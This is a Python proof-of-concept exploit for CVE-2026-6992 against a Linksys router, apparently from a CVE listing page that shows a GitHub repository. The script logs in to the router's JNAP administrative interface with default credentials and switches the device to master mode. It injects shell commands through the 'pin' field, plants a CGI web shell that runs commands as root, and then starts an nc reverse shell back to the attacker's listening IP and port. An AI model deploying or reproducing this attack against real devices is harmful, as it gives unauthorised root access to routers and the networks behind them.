5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-6992-PoC.py PY
#!/usr/bin/env python3.13
import base64
import json
import sys
import time
import urllib.error
import urllib.request
import argparse
# must be imported to ignore self signed certificates so that https can be used
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

# Argument parsing handlers
parser = argparse.ArgumentParser()
parser.add_argument("-ti", "--targetIP", help="Target IP address of the vulnerable router",required=True)
parser.add_argument("-tp", "--targetPort", help="Listening port for the administrative interface, defualts to 80")
parser.add_argument("-lp", "--listenPort", help="Listening port on the testers machine",required=True)
parser.add_argument("-li", "--listenIP", help="IP address that is listening, usually 192.168.1.1",required=True)
parser.add_argument("-u", "--username", help="Administrator username to be used, defaults to admin")
parser.add_argument("-p", "--password", help="Password for the administrator account, defaults to admin")
parser.add_argument("-s", "--https", action='store_true',help="Use https instead of http, http is most common listening protocol on MR9600")
args = parser.parse_args()

## set target port in the URL
if(args.targetPort!=""):
    TARGET = args.targetIP+":"+args.targetPort
else:
    TARGET = args.targetIP

## set protocol to be used default is https
if(args.https):
    TARGET="https://"+TARGET
else:
    TARGET="http://"+TARGET

## if username is not set set to the default of admin
if args.username != "":
    USER = args.username
else:
    USER = "admin"

## if password is not set set to the default of admin
if args.password != "":
    PASSWORD = args.password
else:
    PASSWORD = "admin"

# set static variubles based on information provided by flags
LHOST = args.listenIP
LPORT = args.listenPort
TIMEOUT = 10
UI = "1.0.99.206937"

## Set the endpoints that linksys uses for this particular vulnerablity
GET_MODE = "http://linksys.com/jnap/nodes/smartmode/GetDeviceMode"
SET_MODE = "http://linksys.com/jnap/nodes/smartmode/SetDeviceMode"
EXPLOIT = "http://linksys.com/jnap/nodes/btsmartconnect/BTRequestGetSmartConnectPIN"

JNAP = TARGET + "/JNAP/"
SHELL_FS = f"/www/ui/{UI}/static/shell.cgi"
SHELL_URL = f"{TARGET}/ui/{UI}/static/shell.cgi"
#SHELL_FS = f"/www/shell.cgi" # alternate shell locations that I know will resolve correctly
#SHELL_URL = f"{TARGET}/shell.cgi" # alternate shell URL
AUTH = "Basic " + base64.b64encode(f"{USER}:{PASSWORD}".encode()).decode()

## request http/https webpage
def http(url, data=None, headers=None):
    req = urllib.request.Request(url, data=data, headers=headers or {})
    with urllib.request.urlopen(req,context=ctx, timeout=TIMEOUT) as r:
        return r.read()

## JNAP handling
def jnap(action, payload):
    headers = {
        "X-JNAP-Action": action,
        "X-JNAP-Authorization": AUTH,
        "Content-Type": "application/json; charset=UTF-8",
    }
    for i in headers: print(i+" "+headers[i]);
    body = json.dumps(payload).encode()
    print(payload)
#    print("using action: "+action)
    try:
        raw = http(JNAP, body, headers)
#        print(raw)
    except urllib.error.HTTPError as e:
        raw = e.read()
    return json.loads(raw.decode())

## Send it
def send_payload(cmd):
    ret = jnap(EXPLOIT, {'pin': "a; " + cmd + "; #"})
    if ret.get("result") != "OK":
        raise RuntimeError(ret)

## Ensure the device is in the master mode otherwise return debug information
def ensure_master():
    ret = jnap(GET_MODE, {})
    print(ret)
    mode = ret["output"]["mode"]
    print("[*] Current mode:", mode)
    if mode != "Master":
        ret = jnap(SET_MODE, {"mode": "Master"})
        if ret.get("result") != "OK":
            raise RuntimeError(ret)
        time.sleep(1)

## Stage the shell using the location variubles provided at the beginning
## of this POC
def stage_shell():
    lines = [
        "#!/bin/sh",
        "echo Content-Type: text/plain",
        "echo",
        "IFS= read -r cmd",
        '/bin/sh -c "$cmd" 2>&1',
    ]
    cmd = []
    for i, line in enumerate(lines):
        cmd.append(f"echo '{line}' {'>' if i == 0 else '>>'}{SHELL_FS}")
    cmd.append(f"chmod +x {SHELL_FS}")
    send_payload("; ".join(cmd))
    time.sleep(1)

## Run the shell
def run_shell(cmd):
    try:
        return http(SHELL_URL, cmd.encode(), {"Content-Type": "text/plain"}).decode(errors="replace")
    except TimeoutError:
        return ""

## Execute code in main
def main():
    try:
        ensure_master()
        stage_shell()
        if "root" not in run_shell("busybox whoami"):
            raise RuntimeError("helper shell failed")

        reverse = (
            "rm -f /tmp/.btsh; "
            "mkfifo /tmp/.btsh; "
            f"/bin/sh -i </tmp/.btsh 2>&1 | /usr/bin/nc {LHOST} {LPORT} >/tmp/.btsh &"
        )
        run_shell(reverse)
        print(f"[*] Reverse shell sent to {LHOST}:{LPORT}")
    except Exception as e:
        print("[!]", e, file=sys.stderr)
        sys.exit(1)


if __name__ == "__main__":
    main()